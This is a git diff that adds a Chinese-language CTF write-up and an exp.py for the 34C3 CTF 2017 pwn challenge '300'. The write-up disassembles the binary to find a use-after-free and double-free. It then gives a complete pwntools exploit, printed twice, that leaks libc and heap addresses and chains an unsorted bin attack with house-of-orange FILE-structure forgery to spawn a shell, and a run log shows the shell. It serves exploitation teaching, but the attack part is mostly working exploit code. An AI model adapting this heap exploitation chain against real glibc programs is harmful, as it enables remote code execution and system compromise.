| ||||||: ; CODE XREF from 0x00000b04 (main)
|
||||
| ||||||: ; CODE XREF from 0x00000b03 (main)
|
||||
| ||||||: ; CODE XREF from 0x00000af8 (main)
|
||||
| `-`-----> 0x00000b36 mov edi, 0
|
||||
| | |||: 0x00000b3b call sym.imp.exit ; void exit(int status)
|
||||
| | |||| ; CODE XREF from 0x00000b28 (main)
|
||||
| | |||| ; CODE XREF from 0x00000b34 (main)
|
||||
| | |||| ; CODE XREF from 0x00000b1c (main)
|
||||
| | |||| ; CODE XREF from 0x00000b10 (main)
|
||||
\ `-````=< 0x00000b40 jmp 0xaa0
|
||||
```
|
||||
从 main 函数中我们知道,程序的所有操作都是基于 slot。
|
||||
|
||||
#### alloc
|
||||
```
|
||||
[0x00000790]> pdf @ sym.alloc_it
|
||||
/ (fcn) sym.alloc_it 51
|
||||
| sym.alloc_it ();
|
||||
| ; var int local_4h @ rbp-0x4
|
||||
| ; CALL XREF from 0x00000b0b (main)
|
||||
| 0x000009ca push rbp
|
||||
| 0x000009cb mov rbp, rsp
|
||||
| 0x000009ce sub rsp, 0x10
|
||||
| 0x000009d2 mov dword [local_4h], edi ; slot 放到 [local_4h]
|
||||
| 0x000009d5 mov edi, 0x300
|
||||
| 0x000009da call sym.imp.malloc ; rax = malloc(0x300) 分配堆空间
|
||||
| 0x000009df mov rcx, rax
|
||||
| 0x000009e2 mov eax, dword [local_4h]
|
||||
| 0x000009e5 cdqe
|
||||
| 0x000009e7 lea rdx, [rax*8] ; rdx = slot * 8
|
||||
| 0x000009ef lea rax, obj.allocs ; 0x202040
|
||||
| 0x000009f6 mov qword [rdx + rax], rcx ; 将该空间的地址放到 [0x202040 + slot * 8]
|
||||
| 0x000009fa nop
|
||||
| 0x000009fb leave
|
||||
\ 0x000009fc ret
|
||||
[0x00000790]> px 0x8*10 @ obj.allocs
|
||||
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
|
||||
0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
0x00202060 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
```
|
||||
该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 `0x202040` 开始的数组 allocs 中。
|
||||
|
||||
#### write
|
||||
```
|
||||
[0x00000790]> pdf @ sym.write_it
|
||||
/ (fcn) sym.write_it 56
|
||||
| sym.write_it ();
|
||||
| ; var int local_4h @ rbp-0x4
|
||||
| ; CALL XREF from 0x00000b17 (main)
|
||||
| 0x000009fd push rbp
|
||||
| 0x000009fe mov rbp, rsp
|
||||
| 0x00000a01 sub rsp, 0x10
|
||||
| 0x00000a05 mov dword [local_4h], edi ; slot 放到 [local_4h]
|
||||
| 0x00000a08 mov eax, dword [local_4h]
|
||||
| 0x00000a0b cdqe
|
||||
| 0x00000a0d lea rdx, [rax*8]
|
||||
| 0x00000a15 lea rax, obj.allocs ; 0x202040
|
||||
| 0x00000a1c mov rax, qword [rdx + rax] ; 取出 allocs[slot]
|
||||
| 0x00000a20 mov edx, 0x300
|
||||
| 0x00000a25 mov rsi, rax
|
||||
| 0x00000a28 mov edi, 0
|
||||
| 0x00000a2d call sym.imp.read ; read(0, allocs[slot], 0x300) 读入字符串
|
||||
| 0x00000a32 nop
|
||||
| 0x00000a33 leave
|
||||
\ 0x00000a34 ret
|
||||
```
|
||||
该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 `\x00`,可能导致信息泄露。
|
||||
|
||||
#### print
|
||||
```
|
||||
[0x00000790]> pdf @ sym.print_it
|
||||
/ (fcn) sym.print_it 46
|
||||
| sym.print_it ();
|
||||
| ; var int local_4h @ rbp-0x4
|
||||
| ; CALL XREF from 0x00000b23 (main)
|
||||
| 0x00000a35 push rbp
|
||||
| 0x00000a36 mov rbp, rsp
|
||||
| 0x00000a39 sub rsp, 0x10
|
||||
| 0x00000a3d mov dword [local_4h], edi ; slot 放到 [local_4h]
|
||||
| 0x00000a40 mov eax, dword [local_4h]
|
||||
| 0x00000a43 cdqe
|
||||
| 0x00000a45 lea rdx, [rax*8]
|
||||
| 0x00000a4d lea rax, obj.allocs ; 0x202040
|
||||
| 0x00000a54 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
|
||||
| 0x00000a58 mov rdi, rax
|
||||
| 0x00000a5b call sym.myputs ; 打印
|
||||
| 0x00000a60 nop
|
||||
| 0x00000a61 leave
|
||||
\ 0x00000a62 ret
|
||||
```
|
||||
该函数用于打印 slot 对应空间中的字符串。
|
||||
|
||||
#### free
|
||||
```
|
||||
[0x00000790]> pdf @ sym.free_it
|
||||
/ (fcn) sym.free_it 46
|
||||
| sym.free_it ();
|
||||
| ; var int local_4h @ rbp-0x4
|
||||
| ; CALL XREF from 0x00000b2f (main)
|
||||
| 0x00000a63 push rbp
|
||||
| 0x00000a64 mov rbp, rsp
|
||||
| 0x00000a67 sub rsp, 0x10
|
||||
| 0x00000a6b mov dword [local_4h], edi ; slot 放到 [local_4h]
|
||||
| 0x00000a6e mov eax, dword [local_4h]
|
||||
| 0x00000a71 cdqe
|
||||
| 0x00000a73 lea rdx, [rax*8]
|
||||
| 0x00000a7b lea rax, obj.allocs ; 0x202040
|
||||
| 0x00000a82 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
|
||||
| 0x00000a86 mov rdi, rax
|
||||
| 0x00000a89 call sym.imp.free ; free(allocs[slot]) 释放空间
|
||||
| 0x00000a8e nop
|
||||
| 0x00000a8f leave
|
||||
\ 0x00000a90 ret
|
||||
```
|
||||
该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF,或者 double-free。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。
|
||||
|
||||
#### leak
|
||||
```python
|
||||
def leak():
|
||||
global libc_base
|
||||
global heap_addr
|
||||
|
||||
alloc(0)
|
||||
alloc(1)
|
||||
alloc(2)
|
||||
alloc(3)
|
||||
alloc(4)
|
||||
|
||||
free(1)
|
||||
free(3)
|
||||
|
||||
printt(1)
|
||||
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
|
||||
printt(3)
|
||||
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
|
||||
|
||||
log.info("libc_base address: 0x%x" % libc_base)
|
||||
log.info("heap address: 0x%x" % heap_addr)
|
||||
```
|
||||
首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 `\x00` 截断(heap 基地址的低位 `0x00`)。然后释放掉 1 和 3 即可。
|
||||
```
|
||||
gef➤ x/10gx &allocs
|
||||
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
|
||||
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
|
||||
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000000000000000
|
||||
0x555555756070 <allocs+48>: 0x0000000000000000 0x0000000000000000
|
||||
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/6gx 0x0000555555757320-0x10
|
||||
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
|
||||
0x555555757320: 0x00007ffff7dd1b58 0x0000555555757930
|
||||
0x555555757330: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/6gx 0x0000555555757940-0x10
|
||||
0x555555757930: 0x0000000000000000 0x0000000000000311 <-- slot 3
|
||||
0x555555757940: 0x0000555555757310 0x00007ffff7dd1b58
|
||||
0x555555757950: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
#### house of orange
|
||||
```python
|
||||
def house_of_orange():
|
||||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||
io_wstr_finish = libc_base + 0x3bdc90
|
||||
|
||||
fake_chunk = heap_addr + 0x310 * 4 + 0x20
|
||||
fake_chunk_bk = heap_addr + 0x310 * 3
|
||||
|
||||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
|
||||
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
|
||||
stream = stream.ljust(0x74, '\x00')
|
||||
stream += p64(0) # fp->_flags2
|
||||
stream = stream.ljust(0xa0, '\x00')
|
||||
stream += p64(fake_chunk) # fp->_wide_data
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
stream += p64(0) # fp->_mode
|
||||
|
||||
payload = "A" * 0x10
|
||||
payload += stream
|
||||
payload += p64(0) * 2
|
||||
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
|
||||
payload += p64(0)
|
||||
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
|
||||
|
||||
write(4, payload)
|
||||
|
||||
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
|
||||
write(1, payload)
|
||||
|
||||
alloc(5)
|
||||
alloc(6) # put fake chunk in smallbins[5]
|
||||
|
||||
free(5) # put a chunk in unsorted bin
|
||||
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
|
||||
alloc(5) # unsorted bin attack
|
||||
```
|
||||
这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]:
|
||||
```
|
||||
gef➤ x/10gx &allocs
|
||||
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
|
||||
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
|
||||
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
|
||||
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
|
||||
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/6gx 0x0000555555757320-0x10
|
||||
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
|
||||
0x555555757320: 0x0000000000000000 0x0000555555757c60 <-- bk points to fake chunk
|
||||
0x555555757330: 0x000000000000000a 0x0000000000000000
|
||||
gef➤ x/34gx 0x0000555555757c50-0x10
|
||||
0x555555757c40: 0x0000000000000310 0x0000000000000311 <-- slot 4
|
||||
0x555555757c50: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757c60: 0x0000000000000000 0x0000000000000061 <-- fake chunk
|
||||
0x555555757c70: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
|
||||
0x555555757c80: 0x0000000000000000 0x00000000ffffffff <-- fp->_IO_write_ptr
|
||||
0x555555757c90: 0x00007ffff7b9ac40 0x0000000000000000 <-- fp->wide_data->buf_base
|
||||
0x555555757ca0: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757cb0: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757cc0: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757cd0: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757ce0: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757cf0: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757d00: 0x0000555555757c60 0x0000000000000000 <-- fp->_wide_data
|
||||
0x555555757d10: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757d20: 0x0000000000000000 0x0000000000000000 <-- fp->_mode
|
||||
0x555555757d30: 0x0000000000000000 0x00007ffff7dcdc78 <-- vtable
|
||||
0x555555757d40: 0x0000000000000000 0x00007ffff7a556a0 <-- ((_IO_strfile *) fp)->_s._free_buffer
|
||||
gef➤ x/12gx 0x7ffff7dd1bb8-0x50
|
||||
0x7ffff7dd1b68: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 <-- unsorted bin
|
||||
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
|
||||
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
|
||||
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
|
||||
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
|
||||
```
|
||||
对于 vtable 的利用,上一节我们使用了 `_IO_str_overflow` 函数,这次我们就用 `_IO_wstr_finish` 函数。具体怎么用请查看章节 4.13。
|
||||
|
||||
值得注意的是 `fp->_wide_data` 指向了 fake chunk,所以就相当于我们复用了这一块空间,`fp->_IO_write_end` 的地方也是就是 `fp->wide_data->buf_base`。
|
||||
|
||||
接下来利用 unsorted bin attack 修改 `_IO_list_all` 指向 `&unsorted_bin-0x10`,而偏移 0x60 的地方就是 `_IO_list_all->_chain`,即 smallbins[5],指向了 fake chunk。
|
||||
```
|
||||
gef➤ x/10gx &allocs
|
||||
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
|
||||
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
|
||||
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
|
||||
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
|
||||
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/6gx 0x0000555555757320-0x10
|
||||
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 5
|
||||
0x555555757320: 0x0000000000000000 0x00007ffff7dd24f0 <-- bk points to _IO_list_all-0x10
|
||||
0x555555757330: 0x000000000000000a 0x0000000000000000
|
||||
gef➤ x/4gx 0x00007ffff7dd24f0
|
||||
0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
|
||||
0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd1b58 0x0000000000000000
|
||||
gef➤ x/14gx 0x00007ffff7dd1b58
|
||||
0x7ffff7dd1b58: 0x0000555555757f50 0x0000000000000000 <-- &unsorted_bin-0x10
|
||||
0x7ffff7dd1b68: 0x0000555555757310 0x00007ffff7dd24f0 <-- unsorted bin
|
||||
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
|
||||
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
|
||||
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
|
||||
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
|
||||
```
|
||||
|
||||
#### pwn
|
||||
```python
|
||||
def pwn():
|
||||
alloc(5) # abort routine
|
||||
io.interactive()
|
||||
```
|
||||
最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`,获得 shell。
|
||||
|
||||
|
||||
开启 ASLR,Bingo!!!
|
||||
```
|
||||
python exp.py
|
||||
[+] Starting local process './300': pid 5158
|
||||
[*] '/home/firmyy/300/libc.so.6'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
[*] libc_base address: 0x7efdcef24000
|
||||
[*] heap address: 0x5624a7a3c000
|
||||
[*] _IO_list_all address: 0x7efdcf2e6500
|
||||
[*] system address: 0x7efdcef696a0
|
||||
[*] /bin/sh address: 0x7efdcf0aec40
|
||||
[*] _IO_wstr_finish address: 0x7efdcf2e1c90
|
||||
[*] Switching to interactive mode
|
||||
*** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 ***
|
||||
======= Backtrace: =========
|
||||
$ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
#### exploit
|
||||
完整的 exp 如下:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
|
||||
io = process(['./300'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||
libc = ELF('libc.so.6')
|
||||
|
||||
def alloc(idx):
|
||||
io.sendlineafter("free\n", '1')
|
||||
io.sendlineafter("(0-9)\n", str(idx))
|
||||
|
||||
def write(idx, data):
|
||||
io.sendlineafter("free\n", '2')
|
||||
io.sendlineafter("(0-9)\n", str(idx))
|
||||
io.sendline(data)
|
||||
|
||||
def printt(idx):
|
||||
io.sendlineafter("free\n", '3')
|
||||
io.sendlineafter("(0-9)\n", str(idx))
|
||||
|
||||
def free(idx):
|
||||
io.sendlineafter("free\n", '4')
|
||||
io.sendlineafter("(0-9)\n", str(idx))
|
||||
|
||||
def leak():
|
||||
global libc_base
|
||||
global heap_addr
|
||||
|
||||
alloc(0)
|
||||
alloc(1)
|
||||
alloc(2)
|
||||
alloc(3)
|
||||
alloc(4)
|
||||
|
||||
free(1)
|
||||
free(3)
|
||||
|
||||
printt(1)
|
||||
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
|
||||
printt(3)
|
||||
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
|
||||
|
||||
log.info("libc_base address: 0x%x" % libc_base)
|
||||
log.info("heap address: 0x%x" % heap_addr)
|
||||
|
||||
def house_of_orange():
|
||||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||
io_wstr_finish = libc_base + 0x3bdc90
|
||||
|
||||
fake_chunk = heap_addr + 0x310 * 4 + 0x20
|
||||
fake_chunk_bk = heap_addr + 0x310 * 3
|
||||
|
||||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
|
||||
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
|
||||
stream = stream.ljust(0x74, '\x00')
|
||||
stream += p64(0) # fp->_flags2
|
||||
stream = stream.ljust(0xa0, '\x00')
|
||||
stream += p64(fake_chunk) # fp->_wide_data
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
stream += p64(0) # fp->_mode
|
||||
|
||||
payload = "A" * 0x10
|
||||
payload += stream
|
||||
payload += p64(0) * 2
|
||||
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
|
||||
payload += p64(0)
|
||||
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
|
||||
|
||||
write(4, payload)
|
||||
|
||||
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
|
||||
write(1, payload)
|
||||
|
||||
alloc(5)
|
||||
alloc(6) # put fake chunk in smallbins[5]
|
||||
|
||||
free(5) # put a chunk in unsorted bin
|
||||
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
|
||||
alloc(5) # unsorted bin attack
|
||||
|
||||
def pwn():
|
||||
alloc(5) # abort routine
|
||||
io.interactive()
|
||||
|
||||
if __name__ == '__main__':
|
||||
leak()
|
||||
house_of_orange()
|
||||
pwn()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/5172
|
||||
|
@ -39,7 +39,7 @@ def house_of_orange():
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
|
100
src/writeup/6.1.26_pwn_34c3ctf2017_300/exp.py
Normal file
100
src/writeup/6.1.26_pwn_34c3ctf2017_300/exp.py
Normal file
@ -0,0 +1,100 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
|
||||
io = process(['./300'], env={'LD_PRELOAD':'./libc.so.6'})
|
||||
libc = ELF('libc.so.6')
|
||||
|
||||
def alloc(idx):
|
||||
io.sendlineafter("free\n", '1')
|
||||
io.sendlineafter("(0-9)\n", str(idx))
|
||||
|
||||
def write(idx, data):
|
||||
io.sendlineafter("free\n", '2')
|
||||
io.sendlineafter("(0-9)\n", str(idx))
|
||||
io.sendline(data)
|
||||
|
||||
def printt(idx):
|
||||
io.sendlineafter("free\n", '3')
|
||||
io.sendlineafter("(0-9)\n", str(idx))
|
||||
|
||||
def free(idx):
|
||||
io.sendlineafter("free\n", '4')
|
||||
io.sendlineafter("(0-9)\n", str(idx))
|
||||
|
||||
def leak():
|
||||
global libc_base
|
||||
global heap_addr
|
||||
|
||||
alloc(0)
|
||||
alloc(1)
|
||||
alloc(2)
|
||||
alloc(3)
|
||||
alloc(4)
|
||||
|
||||
free(1)
|
||||
free(3)
|
||||
|
||||
printt(1)
|
||||
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
|
||||
printt(3)
|
||||
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
|
||||
|
||||
log.info("libc_base address: 0x%x" % libc_base)
|
||||
log.info("heap address: 0x%x" % heap_addr)
|
||||
|
||||
def house_of_orange():
|
||||
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||
system_addr = libc_base + libc.symbols['system']
|
||||
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||
io_wstr_finish = libc_base + 0x3bdc90
|
||||
|
||||
fake_chunk = heap_addr + 0x310 * 4 + 0x20
|
||||
fake_chunk_bk = heap_addr + 0x310 * 3
|
||||
|
||||
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||
log.info("system address: 0x%x" % system_addr)
|
||||
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
|
||||
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
|
||||
stream = stream.ljust(0x74, '\x00')
|
||||
stream += p64(0) # fp->_flags2
|
||||
stream = stream.ljust(0xa0, '\x00')
|
||||
stream += p64(fake_chunk) # fp->_wide_data
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
stream += p64(0) # fp->_mode
|
||||
|
||||
payload = "A" * 0x10
|
||||
payload += stream
|
||||
payload += p64(0) * 2
|
||||
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
|
||||
payload += p64(0)
|
||||
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
|
||||
|
||||
write(4, payload)
|
||||
|
||||
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
|
||||
write(1, payload)
|
||||
|
||||
alloc(5)
|
||||
alloc(6) # put fake chunk in smallbins[5]
|
||||
|
||||
free(5) # put a chunk in unsorted bin
|
||||
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
|
||||
alloc(5) # unsorted bin attack
|
||||
|
||||
def pwn():
|
||||
alloc(5) # abort routine
|
||||
io.interactive()
|
||||
|
||||
if __name__ == '__main__':
|
||||
leak()
|
||||
house_of_orange()
|
||||
pwn()
|
Loading…
Reference in New Issue
Block a user